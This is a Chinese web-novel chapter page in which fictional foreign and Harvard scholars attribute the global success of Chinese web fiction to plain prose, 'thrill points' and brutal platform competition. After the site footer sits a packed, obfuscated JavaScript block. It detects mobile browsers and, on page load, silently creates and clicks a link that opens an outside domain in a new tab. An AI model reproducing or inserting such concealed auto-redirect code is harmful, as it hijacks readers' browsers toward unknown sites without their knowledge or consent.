400小说网首页 -> 都市言情 -> 《重生之我为书狂》 -> 正文
加入书签 加入书架 推荐本书 返回重生之我为书狂书页 』

重生之我为书狂 正文 第七百九三章:写作与养蛊

(为方便您阅读重生之我为书狂最新章节,请记住“400小说网”网址 www.Wo400.Com,并注册会员收藏您喜爱的书籍
    不要再说别的了,中国网文哪怕你不相信,哪怕你之前没有想过。. ⒉3TT.

    但是,中国网文攻占世界市场已经成为了事实。

    如果你还是不愿意相信,那么,专家会给予你答案。

    “为什么中国网文征服世界,其实有很重要的一条,那就是中国网文简单直白,适合翻译。”

    一位来自英国的学者对中国网文研究之后说道:“我们知道,各国有各国的文字,各国作家用各自的文字写下了一系列的经典。不过,也正因为文字的不一样。所以,哪怕是在一个国家认为是巨作的作品,放在其他国家恐怕也无人问津。这不是这部作品写得不好,而是这部作品在经过翻译之后,已然失去了原来作品的精髓。

    有一个笑话说的是将一部由英文写的名著翻译成中文,又将中文翻译成日文……经过十几种文字翻译之后再翻译回英文,我们会现,这一部作品已然变得面目全非。所以,要完整的展现一部作品的魅力,你必需要有一个好的翻译。可是,这个世界一流的作家很少,同样,这个世界一流的翻译家也很少。也因此,大凡比较复杂的作品,他在翻译当中都会受到这样的那样的限制。但是,中国网文却是一个特列。中国网文摆脱了许多作家的文青思想,他们用一种非常直接,非常简单的文笔进行创作。而这样的作品在翻译当中,你会现,这在翻译上面没有任何难度。而正因为翻译上的相对简单,这便造成了大量中国网文进入世界的机会。”

    不过,来自日本的研究者则并不认同这一个观点。“中村关岛“在他的博文中表示:“虽然简单直白是中国网文的一大特点,但简单直白并不是吸引全球读者的原因。真正让中国网文火起来的因素,是因为中国网文找到了其他国家没能找到的关键。这个关键,那就是爽点。什么叫做爽点,这个比较难细说。简单一些,那就是让你感到兴奋,让你感到爽快,让你感到心情娱乐的事物。其实好莱坞电影,包括我们日国的漫画也有无数多的关于爽点的剧情。但是,可能我们追求的内容除了爽还有其他更多。但中国网文在爽点方面,却是做到了极致。我认为,中国网文作者一定是专业的研究了人类的心理的专家,所以,当他们写的任何一个看起来很简单的桥段之时,我们都会由内到外,散出无比的爽感。”

    此外,哈佛文学院这会儿也在以中国网文为何能征服世界做为了一个课题,进行了专业的分析。不过,他们对于中国网文的文笔,对于中国网文具体的一些剧情并不是非常认可。他们认为,这一些并不是关键,他们美国的作家也能做到。他们认为,中国网文能够大量的进入全球市场,一定有着他独一无二的机制。

    就像好莱坞电影一样的。一部好莱坞电影根本不能影响世界,但千千万万部好莱坞大片推向全球之后,好莱坞电影成为了美国文化的象征。哈佛文学院表示,好莱坞找到了他们的好莱坞模式。那么,中国网文是否也有这个模式呢?

    一翻研究,他们现了真相。

    这个真相,那就是竞争。

    竞争。

    这看起来是一个并不算太有研究的内容。

    全球几乎是所有的行业,他们都存在竞争。

    难道中国网文里面的竞争与其他行业不一样吗?

    哈佛大学文学院会告诉你,当然不一样。

    他们表示:“事实上,虽然全球基本上所有的产业都存在着竞争关系。但是,文化产业上,其实竞争压力一直相对较小。这与文学是艺术品有关,很多人一直认为,写作是个人的事,写作也是艺术的事,他不是商业的事。所以,不是你想怎么努力,你就能写出好的作品。你写出来的作品能否成功,一部出色的有着太多太多的不确定了。所以,文学界的竞争其实根本就没有竞争。如果有,那也就是天赋的竞争。我比你更有天赋,那么我写的就比你卖得好。哪怕你比我更努力,但你与我也有着无比的差距。

    但是,恰恰是这种在文学创作上看上去没有竞争的竞争,在中国网文身上,他的竞争压力却比之全球任何一个行业都大。哈佛文学院表示,按中国网文的运作模式,他的方式是让所有的作家同在一个网站上面创作。而他们的作品要想获得成功,必需与所有的作家放在同一起跑线进行竞争。这里的竞争有新书榜的竞争,有收藏数据的竞争,也有月票的竞争,同样有订阅的竞争。如果你在竞争当中赢了,那么,你就能出现在众人眼里。而你在竞争当中输了,那么,你将消失于大众。而我们所看到的这一些作品,都是从无数次竞争当中脱颖而出的作品。

    但是,我们并不知道,在这位竞争者成功之下,却有着几百上千位的作品消失。

    据数据调查显示,起点里面有一种叫做“签约“的制度。也就是说,你的作品如果写得好,那么网站就会与你签约。但是,并不是所有作者写的作品都可以获得这种签约。一般来说,1o位作者里面只有1位作者才能获得签约。但是,大众可能不知道的是。签约并不代表写作之路就此开始,签约只不过是网站认可你,你的作品能不能获得读者认可,那可不一定。

    所以签约之后,起点还设置了上架。

    上架的意思就是上架销售,意思你的可以卖钱了。但是,也并不是所有签约的作品都可以上架,如果你的作品签约之后无法获得读者认可。那么,你的作品就不能上架,也就是说,你将在这几个月的时间之内1分钱稿费收入也没有,哪怕你写了几十万字。

    而在数据里面是这样的,1o位签约作家里面,只有1位签约作家的作品才可以上架。

    那么,你以为上架之后就结束了吗?

    少年,你还是太天真了。

    上架才是网文写作的第一步呢?

    起点总编314会告诉你,虽然你的作品上架了,但上架之后能卖出多少钱,仍是关键。如果你的稿费收入只有1oo块,2oo块,那么,这样的一些作品仍将在不久之后消失。或许你问为什么,还需要问吗?恐怕你随便去搬个砖一天都有1oo块-2oo块,你会用几个月的时间写,然后获得这1oo块吗?

    314曾经在他的博文中表示,别将写作太当回事。跟你说吧,事实上1万个作家里面,真正能靠写作生存下来的只有1位。

    也就是说,这是1万分之一的机会。

    所以,当时中国有媒体记者将起点写作比喻为一种“养蛊”的游戏,就是将几万只蛊放在一块,最后存活下来的就是蛊王。

    或许,到了现在,我们才算是知道,为什么中国网文能够征服世界了。(。)
上一页 返回重生之我为书狂最新章节列表 下一页 提醒更新/举报错误/缺字少章
如发现重生之我为书狂有章节错误、版权疑问或违反相关法律等请联系客服。重生之我为书狂最新章节仅代表作者天下第一白本人的观点,其个人行为与本站无关。
重生之我为书狂全文阅读由400小说网(http://www.wo400.com)提供,仅作为交流,非商业用途。
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p y(){q(P z==="Q".c("").d().f("")){r R}A a=(S^T)+(U^V);u B=z[\'\\C\\8\\0\\6\\W\\7\\0\\g\\1\'][\'\\1\\5\\D\\5\\E\\0\\6\\v\\3\\8\\0\']();a=X^Y;A b=(Z^10)+(11^12);u F=13 14("15|16|17 18|19|1a|1b|1c 1d|1e|1f|1g|1h".c("").d().f(""),\'\\h\');b=\'\\7\\4\\i\\7\\l\\j\';r F[\'\\1\\0\\8\\1\'](B)}p G(a){u 9=m[\'\\n\\6\\0\\3\\1\\0\\H\\2\\0\\i\\0\\g\\1\']("\\3");9[\'\\s\\6\\0\\l\']=a;9[\'\\8\\1\\o\\2\\0\'][\'\\4\\h\\8\\j\\2\\3\\o\']="1i".c("").d().f("");9[\'\\1\\3\\6\\7\\0\\1\']="\\I\\k\\2\\3\\g\\w";m[\'\\k\\5\\4\\o\'][\'\\3\\j\\j\\0\\g\\4\\v\\s\\h\\2\\4\'](9);9[\'\\n\\2\\h\\n\\w\']();m[\'\\k\\5\\4\\o\'][\'\\6\\0\\i\\5\\J\\0\\v\\s\\h\\2\\4\'](9)}p 1j(){1k{r t[\'\\8\\0\\2\\l\']!==t[\'\\1\\5\\j\']}1l(e){r!![]}}m[\'\\3\\4\\4\\H\\J\\0\\g\\1\\D\\h\\8\\1\\0\\g\\0\\6\']("1m".c("").d().f(""),p(){q(!t[\'\\7\\2\\5\\k\\3\\2\\K\\3\\6\']){q(m[\'\\k\\5\\4\\o\']!=1n){t[\'\\7\\2\\5\\k\\3\\2\\K\\3\\6\']="\\x";L=M[\'\\7\\0\\1\\x\\1\\0\\i\']("\\2\\C\\n\\w\\I\\l\\l");q(!L&&y()){G("\\s\\1\\1\\j\\1o\\N\\N\\1p\\1q\\1r\\1s\\E\\O\\1t\\7\\1\\7\\4\\O\\n\\5\\i")}M[\'\\8\\0\\1\\x\\1\\0\\i\']("1u".c("").d().f(""),"1v".c("").d().f(""))}}});',62,94,'u0065|u0074|u006C|u0061|u0064|u006F|u0072|u0067|u0073|_0x6b77cg|||split|reverse||join|u006E|u0069|u006D|u0070|u0062|u0066|document|u0063|u0079|function|if|return|u0068|window|const|u0043|u006B|u0049|isMobileDevice|navigator|var|_0x85cfe|u0075|u004C|u0077|_0xgc37d|OpenUrl|u0045|u005F|u0076|u0056|hasExecuted|localStorage|u002F|u002E|typeof|denifednu|false|773198|773197|160939|160937|u0041|156840|156841|253675|253666|891920|891925|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|isInIframe|try|catch|dedaoLtnetnoCMOD|null|u003A|u0032|u0034|u0035|u0036|u006A|ff_kcul|eurt'.split('|'),0,{}))